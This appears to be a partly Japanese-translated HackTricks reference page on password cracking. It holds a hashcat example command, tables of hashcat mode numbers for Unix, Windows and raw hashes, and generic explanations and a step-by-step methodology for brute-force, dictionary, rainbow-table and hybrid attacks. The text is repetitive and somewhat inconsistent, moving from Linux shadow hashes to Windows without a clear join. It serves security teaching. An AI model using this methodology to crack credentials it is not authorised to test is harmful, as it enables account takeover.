Hashcat モード

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Brute Forcing

Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of letters, numbers, and symbols until the correct one is found. In the context of cracking Linux hashes stored in the /etc/shadow file, brute forcing involves generating potential passwords and hashing them using the same algorithm as the one used in Linux to compare with the hashed passwords in the file. This process continues until a match is found, allowing the attacker to determine the original password.

500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Brute Force

Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack password hashes.

Tools

There are several tools available for performing brute force attacks, such as:

  • John the Ripper: A popular password cracking tool that can perform brute force attacks.

  • Hashcat: Another powerful tool for cracking password hashes using brute force and other techniques.

  • Hydra: A versatile password-cracking tool that supports various protocols for brute force attacks.

Methodology

  1. Select Target: Identify the target system or application for which you want to crack the password hash.

  2. Choose Tool: Select an appropriate tool based on the target and type of hash you are trying to crack.

  3. Configure Tool: Set up the tool with the necessary parameters, such as the hash type and any specific rules for the brute force attack.

  4. Initiate Attack: Start the brute force attack and let the tool run until it finds the correct key or password.

  5. Verify: Once the attack is complete, verify the results to ensure the correct key or password has been found.

By following this methodology and using the right tools, you can effectively crack Windows hashes using brute force attacks.

3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems

Brute-Force

Dictionary Attacks

Dictionary attacks are a common method used to crack hashes. They involve using a predefined list of words or phrases (dictionary) to try to match the hash. This method is effective when the password is a common word, phrase, or combination of characters.

Brute-Force Attacks

Brute-force attacks involve systematically checking all possible combinations of characters until the correct one is found. This method is effective but can be time-consuming, especially for longer and more complex passwords.

Rainbow Tables

Rainbow tables are precomputed tables used to crack password hashes. They contain a large number of hashes and their corresponding plaintext passwords. By looking up the hash in a rainbow table, an attacker can quickly find the corresponding password.

Hybrid Attacks

Hybrid attacks combine dictionary and brute-force methods to crack hashes. They first use a dictionary attack with common words and then switch to a brute-force attack for more complex passwords. This method is more efficient than using either attack on its own.

900 | MD4                                              | Raw Hash
0 | MD5                                              | Raw Hash
5100 | Half MD5                                         | Raw Hash
100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
1400 | SHA-256                                          | Raw Hash
1700 | SHA-512                                          | Raw Hash
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください:

Last updated